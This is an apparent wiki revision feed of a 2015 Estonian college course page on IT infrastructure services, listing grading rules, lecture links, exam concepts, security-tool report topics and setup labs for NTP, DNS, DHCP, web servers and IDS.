[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88669</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88669"/>
		<updated>2015-05-20T05:56:12Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* ReferaadiTeemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
Aine on jagatud praktilisteks ja teoreetilisteks töödeks. Kaheksaks (8) laboriks ning kaheks (2) teoreetiliseks kontrolltööks. &lt;br /&gt;
&lt;br /&gt;
Lisaks on tarvis teha eraldi dokumentatsiooni ehk ühe kaitstud labori kohta &#039;&#039;&#039;viki artikkel&#039;&#039;&#039;. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Praktiliste tööde&#039;&#039;&#039; hulka kuuluvad erinevate teenuste paigaldamine ning seadistamine. Ühe labori eest on võimalik saada maksimaalselt 6 punkti. &lt;br /&gt;
&lt;br /&gt;
* 2 punkt on võimalik saada teenuse seadistamise, paigaldamise ning suulise kaitsmise eest. (Õppejõud võib seadistust muuta ning paluda paranduste kohta selgitust)&lt;br /&gt;
* 4 punkti on võimalik saada, kui kaitsta oskuslikult konkreetse labori kohta käivad teoreetilised teadmised suuliselt õppejõule. (Küsimused esitab õppejõud)&lt;br /&gt;
* 6 punkti on võimalik saada, kui parandada konkreetse teema kohta käivat juhendit ning esitada tulemuse õppejõule. (Mõeldud ambitsioonikamatele tudengitele)&lt;br /&gt;
&lt;br /&gt;
Lävendiks on 2 punkt, mis tähendab praktilise osa teostust. Kui iga labori eest on ainult 2 punkt, tuleb teoreetilised teadmised kaitsta kontrolltöö käigus, aga kui iga labori eest on vähemalt 4 punkti, ei ole kontrolltööd tarvis teha. &lt;br /&gt;
&lt;br /&gt;
==Tähtajad päevaõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): 16. märts&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6): 18. mai&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): ~20. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): 25. mai&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: 16. märts&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2: 18. mai&lt;br /&gt;
&lt;br /&gt;
==Tähtajad kaugõppele 2015==&lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (laborid 1-3): &lt;br /&gt;
&lt;br /&gt;
Praktilise töö laborite kaitsmised (Laborid 4-6):&lt;br /&gt;
&lt;br /&gt;
Praktilise töö labori kaitsmised (Labor 8): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dokumentatsioon (viki artikkel): &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 1: &lt;br /&gt;
&lt;br /&gt;
Kontrolltöö 2:&lt;br /&gt;
&lt;br /&gt;
=Loengud=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Kaugõppe 2015. aasta kevadsemestri loengusalvestused on leitavad [https://echo360.e-ope.ee/ess/portal/section/57596897-5ba5-46cb-b1b2-b4a4619f5eb0 siit]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/loeng00%20-%20Sissejuhatav%20loeng.odp Sissejuhatav loeng] - &amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;NB siin on kirjas hindamiskriteeriumid ja tähtajad.&amp;lt;/span&amp;gt; Lisaks on kirjas kontrolltööde ajad ja muu aine läbimiseks oluline info. (Päevaõppes toimus 02.02.2014)&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused-ntp.html NTP teenus] (Päevaõppes toimus 02.02.2015)&lt;br /&gt;
&lt;br /&gt;
[https://www.us-cert.gov/ncas/alerts/TA14-013A NTP amplification Attack]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 1. Tähtaeg 9.02.2015. DNS loenguks lugeda läbi DNS põhimõisted järgnevatest materjalidest:&amp;lt;/span&amp;gt; &lt;br /&gt;
&lt;br /&gt;
Kohustuslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS_ja_BIND&lt;br /&gt;
&lt;br /&gt;
Soovituslik:&lt;br /&gt;
http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.odp DNS loeng (OpenDocument)] [http://enos.itcollege.ee/~mernits/infrastruktuur/Interneti%20domeeninimede%20s%c3%bcsteem%20-%20IT%20infra%20loeng.pdf (PDF)]&lt;br /&gt;
&lt;br /&gt;
[http://elab.itcollege.ee:8000/infra/bind/ BIND9 konfiguratsiooni näitefailid]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit DNS näide]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Infra%20loeng%20DHCP%202013.odp DHCP loeng]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit# DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/14Cj90aWN4n4MCO_zZlZzu0aHJeIDTPEfQgiDXIuMxF4/edit# DNS uuendamine DHCP abil]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Veebiserveri loeng] &lt;br /&gt;
&lt;br /&gt;
Screencast veebiserveri konfigureerimisest: &lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-1.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-2.ogv&lt;br /&gt;
&lt;br /&gt;
http://elab.itcollege.ee:8000/veebiserver/out-3.ogv&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red;&amp;quot;&amp;gt;Kodutöö nr 2. Tähtaeg 20.aprill.2015. Lugeda läbi [http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013%20-%20RC1.pdf OWASP top 10 2013] &amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Mõisted kontrolltööks ja arvestuseks=&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Esimese kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*DNS mõistete kohta leiab infot: http://kuutorvaja.eenet.ee/wiki/DNS&lt;br /&gt;
*hostinimi (mis märgid on hostinimes lubatud ja kus?)&lt;br /&gt;
*host täisnimi&lt;br /&gt;
*domeeni täisnimi&lt;br /&gt;
*DNS&lt;br /&gt;
*A-kirje&lt;br /&gt;
*alias ehk CNAME&lt;br /&gt;
*puhverdamine&lt;br /&gt;
*dig ja selle kasutamine&lt;br /&gt;
*DNS spoofing&lt;br /&gt;
*domeen ja domeeninimi&lt;br /&gt;
*Authoritative ehk pädev server&lt;br /&gt;
*Forwarding ehk edastamine&lt;br /&gt;
*FQDN&lt;br /&gt;
*Host&lt;br /&gt;
*PTR-kirje&lt;br /&gt;
*rekursiivne lahendus&lt;br /&gt;
*primaarne server&lt;br /&gt;
*sekundaarne server&lt;br /&gt;
*open resolver&lt;br /&gt;
*kuidas nimelahendus töötab, kirjelda näiteks &amp;quot;kui veebisirvijas avatakse leht, siis mis võiks toimuda?&amp;quot;&lt;br /&gt;
*selgitage näitekonfi&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$TTL    600&lt;br /&gt;
@       IN      SOA     planet.zz. root.planet.zz. (&lt;br /&gt;
                              3         ; Serial - Mida see tähendab?&lt;br /&gt;
                         3600           ; Refresh - Mida see tähendab?&lt;br /&gt;
                          8640          ; Retry - Mida see tähendab?&lt;br /&gt;
                        36000           ; Expire - Mida see tähendab?&lt;br /&gt;
                         3600 ) ; Negative Cache TTL - Mida see tähendab?&lt;br /&gt;
;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Teise kontrolltöö küsimused:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
*virtuaalhost&lt;br /&gt;
*http&lt;br /&gt;
*Kuidas toimub ssl/tls ühenduse algatamine?&lt;br /&gt;
*Mis vahe on sümmeetrilisel ja asümmeetrilisel krüpteerimisel?&lt;br /&gt;
*Mis vahe on avalikul võtmel ja sertifikaadil?&lt;br /&gt;
*https&lt;br /&gt;
*SNI&lt;br /&gt;
*IPS&lt;br /&gt;
*IDS&lt;br /&gt;
*Mis vahe on reflected XSS ja stored XSS rünnetel?&lt;br /&gt;
*Mis vahe on SQL injectionil ja blind SQL injectionil?&lt;br /&gt;
*Mis on secure cookie? (http://php.net/session.cookie-secure ;session.cookie_secure =)&lt;br /&gt;
*Mis tähendab, et küpsised on http_only?&lt;br /&gt;
*Kas XSS ründeid saab filtreerida andmebaasikihis, näiteks SQL tulemüüriga?&lt;br /&gt;
*Mis on CSRF ja kuidas see toimib?&lt;br /&gt;
*Mis on same origin policy?&lt;br /&gt;
&lt;br /&gt;
=Dokumentatsioon=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Dokumentatsioonist (loeng)]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/Aruannete%20hindamise%20juhend.pdf Hindamismaatriksi näide]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
= ReferaadiTeemad 2015 =&lt;br /&gt;
&lt;br /&gt;
[[SQL tulemüürid]] -- Otsida erinevaid SQL tulemüüre ja kirjata nende põhiparameerid&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[sqlmap]]&lt;br /&gt;
&lt;br /&gt;
[[Kippo SSH Honeypot]]&lt;br /&gt;
&lt;br /&gt;
[[p0f]] http://tools.kali.org/information-gathering/p0f&lt;br /&gt;
&lt;br /&gt;
[[hping]] http://www.hping.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Yersinia]] -  http://www.yersinia.net/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[WPScan]] - http://wpscan.org/&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Aircrack]]&lt;br /&gt;
&lt;br /&gt;
[[ntop]]&lt;br /&gt;
&lt;br /&gt;
[[Nikto]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - Artikkel on olemas, kuid vajab kaasajastamist (Artikli valimise korral kirjuta artikli algusesse suurelt: Kaasajastab &amp;lt;Sinu ees- ja perekonnanimi&amp;gt;, 2015, &amp;lt;rühm&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[DigiNotar]]&lt;br /&gt;
&lt;br /&gt;
[[Ipkungfu Tulemüür]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[iodine]]&lt;br /&gt;
&lt;br /&gt;
[[fabric]]&lt;br /&gt;
&lt;br /&gt;
[[mpstat]]&lt;br /&gt;
&lt;br /&gt;
=Abimaterjal=&lt;br /&gt;
* [http://tools.ietf.org/html/rfc2131 RFC2131] &lt;br /&gt;
* [http://kuutorvaja.eenet.ee/wiki/Isc-dhcpd_server Kuutõrvaja DHCP materjal] &lt;br /&gt;
&lt;br /&gt;
Abimaterjal laboriks: &lt;br /&gt;
* Maskeraad [[Ufw]]&lt;br /&gt;
* DHCP serveri seadistamine [[DHCP]]&lt;br /&gt;
* [http://www.debian-administration.org/article/343/Configuring_Dynamic_DNS__DHCP_on_Debian_Stable Dünaamiline DNS kirjete uuendamine DHCP poolt]&lt;br /&gt;
* [http://debianclusters.org/index.php/Troubleshooting_DHCP DHCP probleemide lahendamine]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng11%20-%20Monitooring.odp Loeng 11 Monitooring]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng12%20-%20LDAP.odp Loeng 12 LDAP]&lt;br /&gt;
&lt;br /&gt;
=Praktilised tööd=&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/spreadsheets/d/1TiErlKTrnW3T_dcjceMyeLr9yCHBDwTmjXDxkAf1hDw/edit?usp=sharing Nimekiri] DNS labori masinate IP vahemikega ning domeeninimedega&lt;br /&gt;
&lt;br /&gt;
==Sissejuhatav praktikum==&lt;br /&gt;
&lt;br /&gt;
Valige endale domeeninimi, näiteks eikkasutaja.zz.&lt;br /&gt;
&lt;br /&gt;
Seadke DNS serverile IP aadress 192.168.56.201&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nano /etc/network/interfaces # Avab võrguliideste faili.&lt;br /&gt;
# DNS serveri eth1 võrguliidesel tuleb muuta esialgne IP-address 192.168.56.200 uueks IP-addressiks 192.168.56.201&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
  address 192.168.56.201&lt;br /&gt;
  netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Taaskäivitage võrguliides &#039;&#039;&#039;eth1&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifdown eth1 &amp;amp;&amp;amp; ifup eth1&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muutke DNS serveril hostinimi ns.sinudomeen.&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo ns &amp;gt; /etc/hostname&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Muutke /etc/hosts failis masinanimi&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.sinudomeen   ns&lt;br /&gt;
&lt;br /&gt;
Näiteks valisin oma domeeniks mernits.zz&lt;br /&gt;
&lt;br /&gt;
127.0.1.1       ns.mernits.zz   ns&lt;br /&gt;
&lt;br /&gt;
startige teenus &#039;&#039;&#039;hostname&#039;&#039;&#039;&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service hostname start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Korraldus hostname -f peab tagastama FQDN-i&lt;br /&gt;
&amp;lt;source lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
hostname -f&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistage ka võtmetepõhine autentimine [[OpenSSH: võtmetega autentimine]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Image:Infra-a21-2015.png|thumb|Kasutatav võrk]]&lt;br /&gt;
&lt;br /&gt;
==Labor 1 - NTP seadistamine (6p/6%)==&lt;br /&gt;
Loe läbi õppematerjal (loengud) ja seadista NTP teenus nii kliendis, kui ka serveris selliselt, et klient küsib aega ainult serverist (ja ka localhostist, mille prioriteet on madal e fudge 10) Server küsib aega EENET NTP serverist ja mõnest muust Eestis asuvast NTP serverist.&lt;br /&gt;
&lt;br /&gt;
Seadistage server selliselt, et ei välisvõrgust ei saa teha järgmisel lingil kirjeldatud rünnet https://www.us-cert.gov/ncas/alerts/TA14-013A&lt;br /&gt;
&lt;br /&gt;
[[NTP Ubuntus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 2 - DNS seadistamine (6p/6%)==&lt;br /&gt;
&lt;br /&gt;
*Mõtle välja endale domeeninimi&lt;br /&gt;
*Loo domeeninimele tsoonifail ja seadiste nimeserver&lt;br /&gt;
*Luba rekursiivne lahendus oma sisevõrgust&lt;br /&gt;
*Loo reevers tsoon&lt;br /&gt;
*Loo A kirjed e-posti, nimeserveri jaoks&lt;br /&gt;
*Loo CNAME kirjed www, samba ja oma severi jaoks&lt;br /&gt;
&lt;br /&gt;
Näitelahendus [https://docs.google.com/document/d/1ZeQpPXdVq1C7RQpxQYR0gBB0OBMYB_0g6aFFxs_-fIA/edit Domain Name Server ehk nimeserveri labor]&lt;br /&gt;
&lt;br /&gt;
Näitelahendus2 [[Nimeserveri labor V.2]]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/dns/DNS_BIND.html Väike abiinfo lisaks loengule]&lt;br /&gt;
&lt;br /&gt;
Kaitsmisel pead oskama luua uut tsooni, lisama kirjeid, oskama kasutada rndc, dig, nslookup vahendeid.&lt;br /&gt;
&lt;br /&gt;
==Labor 3 - DHCP seadistamine (6p/6%)==&lt;br /&gt;
* DHCP paigaldamine ja seadistamine (6p)&lt;br /&gt;
&lt;br /&gt;
Seadista labori desktop VM saamaks IP aadressi ja nimeserverit sama labori serveri VM käest.&lt;br /&gt;
&lt;br /&gt;
PS: desktop võrguseadetest eemalda esimeselt liideselt nimelahenduse küsimine (küsitakse DHCP abil ainult IP aadress). Kui seda ei tee, siis lähevad DNS päringud ikkagi esimese, NAT liidese kaudu.&lt;br /&gt;
&lt;br /&gt;
[https://docs.google.com/document/d/1yUEWHldPhIbeVRh3k-zmwEg1OJmIGywMKVZY4XslpDY/edit DHCP näitelabor]&lt;br /&gt;
&lt;br /&gt;
==Labor 4 - apache (või nginx) veebiserveri seadistamine (6p/6%)==&lt;br /&gt;
* Loo kaks virtualhosti nii http, kui ka https (self-signed cert) tarbeks.&lt;br /&gt;
** Mõlemad nimied peavad sirvijas töötama (desktop arvutis) nii http, kui ka https abil ja esilehel peab olema selgelt näha kumma virutalhostiga on tegemist. Seega index.html sisse lisa virtualhosti nimi.&lt;br /&gt;
&lt;br /&gt;
* Abimaterjalina võib sobida: Apache2 paigaldamine ja virtualhostide seadistamine [[Virtualhost apache2 näitel]]. Algajale lisamaterjal [[Veebiserveri labor v.2]]&lt;br /&gt;
&lt;br /&gt;
==Labor 5 - mõne veebirakenduse (nt Wordpress) paigaldamine ja turvamine varnishiga (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Labori eesmärgiks on paigaldada veebirakendus, mõõta selle jõudlust ja seejärel suurendada veebirakenduse jõudlust kasutades puhvermälu. Veebirakenduse ja puhvermälu võib iga tudeng ise valida. Näite teeme WordPress ja WP SuperCace abil. Samas on väga soovitatav valida cache tehnoloogia ise, et erinevad inimesed saaksid võrrelda erinevaid asju.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine https://docs.google.com/document/d/1AKVigVudVjxQuCz02i6p4Kv8oO4RD6aJiV9pbPuujZY/edit?pli=1&lt;br /&gt;
&lt;br /&gt;
* Wordpress paigaldamine ja jõudluse testimine (varnish) &lt;br /&gt;
[[WordPress turvamine]]&lt;br /&gt;
&lt;br /&gt;
http://wpdevshed.com/top-cache-plugins-wordpress/&lt;br /&gt;
&lt;br /&gt;
[[Varnish]] - vaata http://www.howtoforge.com/putting-varnish-in-front-of-apache-on-ubuntu-debian&lt;br /&gt;
[[Apache logide seadistus]]&lt;br /&gt;
&lt;br /&gt;
==Labor 6 - DVWA paigaldamine ja OWASP testimine (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
Paigaldage DVWA: https://wiki.itcollege.ee/index.php/DVWA&lt;br /&gt;
&lt;br /&gt;
Loe läbi OWASP top 10 ja [http://enos.itcollege.ee/~ttanav/VRI/abiks/mysql_tut.php SQL põhitõed]&lt;br /&gt;
&lt;br /&gt;
Mõned videod:&lt;br /&gt;
&lt;br /&gt;
* https://www.youtube.com/watch?v=CDbWvEwBBxo&lt;br /&gt;
&lt;br /&gt;
==Labor 7 - rakenduste tulemüürid (greensql ja mod_security baasil) (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
==Labor 8 - IDS (10p/10%)==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Seadistada IDS/IPS ühele oma valitud serverile ja demonstreeida ühe-kahe reegli toimimist.&lt;br /&gt;
&lt;br /&gt;
Juhend: https://wiki.itcollege.ee/index.php/IDS_Systeemid_-_Labor_1&lt;br /&gt;
&lt;br /&gt;
Abistav materjal: https://wiki.itcollege.ee/index.php/Suricata&lt;br /&gt;
&lt;br /&gt;
==Questid, millede eest saab punkte==&lt;br /&gt;
&lt;br /&gt;
Quest 1 (Läbi ja tehtud) - https://docs.google.com/document/d/1oRt9JLF6lcf_Z-ReHCfbZXnSoc-EOBzGprxvIyhq4qk/edit?usp=sharing&lt;br /&gt;
&lt;br /&gt;
=Esitatud referaadid=&lt;br /&gt;
[[IT infrastruktuuri teenused 2013 kevad]]&lt;br /&gt;
&lt;br /&gt;
[[Wordpressi turvalisuse suurendamine]]&lt;br /&gt;
&lt;br /&gt;
=Juurteenuste kursus=&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/skriptimine/bash/src/juurteenused.html Interneti juurteenused]&lt;br /&gt;
&lt;br /&gt;
=Täiendav lugemismaterjal=&lt;br /&gt;
[https://zib.wooop.biz/category/asd/ Erinevad juhendmaterjalid Linuxi teenuste jm seadistamiseks. Autor Gert Vaikre A21]&lt;br /&gt;
&lt;br /&gt;
=Vanad loengumaterjalid=&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng00%20-%20Sissejuhatav%20loeng.odp Loeng 00 - Sissejuhatav loeng - NB Tähtajad ja nõuded]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng01%20-%20E-post.odp Loeng 01 E-post]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng03%20-%20Failiserver.odp Loeng 03 Failiserver]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng04%20-%20Veebiserver.odp Loeng 04 Veebiserver]&lt;br /&gt;
&lt;br /&gt;
[http://goo.gl/6XQ0U WordPress seadistamine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng05%20-%20Dokumentatsioon.odp Loeng 05 Dokumentatsioon]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng06%20-%20VPN.odp Loeng 06 VPN]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng07%20-%20iptables.odp Loeng 07 Tulemüürid]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng08%20-%20SAN%20-%20NAS%20-%20CAS.odp Loeng 08 SAN NAS CAS]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng09%20-%20Virtualiseerimine.odp Loeng 09 Virtualiseerimine]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/arhiiv/loeng10%20-%20DHCP.odp Loeng 10 DHCP]&lt;/div&gt;</summary>
		<author><name>Mernits</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88666</id>
		<title>Category:I375/I803/I853 IT Infrastructure services</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Category:I375/I803/I853_IT_Infrastructure_services&amp;diff=88666"/>
		<updated>2015-05-20T05:35:37Z</updated>

		<summary type="html">&lt;p&gt;Mernits: /* ReferaadiTeemad 2015 */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Üldinfo=&lt;br /&gt;
Aine info: [https://itcollege.ois.ee/study-material/round?round_id=2230 IT infrastruktuuri teenused ÕIS leht]&lt;br /&gt;
&lt;br /&gt;
[http://enos.itcollege.ee/~mernits/infrastruktuur/ Aine õppematerjalid]&lt;br /&gt;
&lt;br /&gt;
ECTS: 5&lt;br /&gt;
&lt;br /&gt;
Hindamisviis: Arvestus&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Rangelt soovituslik aine:&#039;&#039;&#039; Operatsioonisüsteemide administreerimine ja sidumine (I233)&lt;br /&gt;
&lt;br /&gt;
==Õppejõud==&lt;br /&gt;
Margus Ernits  &amp;gt;&amp;gt;  margus (.) ernits (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
Katrin Loodus  &amp;gt;&amp;gt;  katrin (.) loodus (ät) itcollege (.) ee&lt;br /&gt;
&lt;br /&gt;
=Eesmärk ja sisu=&lt;br /&gt;
Tutvustada IT infrastruktuuri teenuste põhimõisteid. Anda oskused põhiliste teenuste paigaldamiseks ja turvamiseks. Anda oskused IT infrastruktuuri teenuste dokumenteerimiseks.&lt;br /&gt;
Eesmärgi saavutamiseks toimuvad laboratoorsed tööd, mille käigus installeeritakse ja konfigureeritakse teenuseid pöörates rõhku teenuse turvalisusele, millele eelnevad loengud alus- ja põhimõistete tutvustamiseks.&lt;br /&gt;
&lt;br /&gt;
=Ainekaart=&lt;br /&gt;
Ainekaardi viimase, kuid mitte lõpliku versiooni leiab [https://wiki.itcollege.ee/images/6/67/I385_IT_infrastruktuuri_teenused_aineprogramm_2013.odt siit]&lt;br /&gt;
&lt;br /&gt;
=Eelmiste aastate tagasiside=&lt;br /&gt;
[https://wiki.itcollege.ee/images/e/e3/Tagasiside.p%C3%A4eva%C3%B5pe-2013.pdf 2013 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/4/4d/It-infra-tagasiside-2012-1.pdf 2012 kaugõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
[https://wiki.itcollege.ee/images/2/28/It-infra-tagasiside-2012-2.pdf 2012 päevaõppe tagasiside]&lt;br /&gt;
&lt;br /&gt;
=Arvestus ja hindamine=&lt;br /&gt;
&lt;br /&gt;
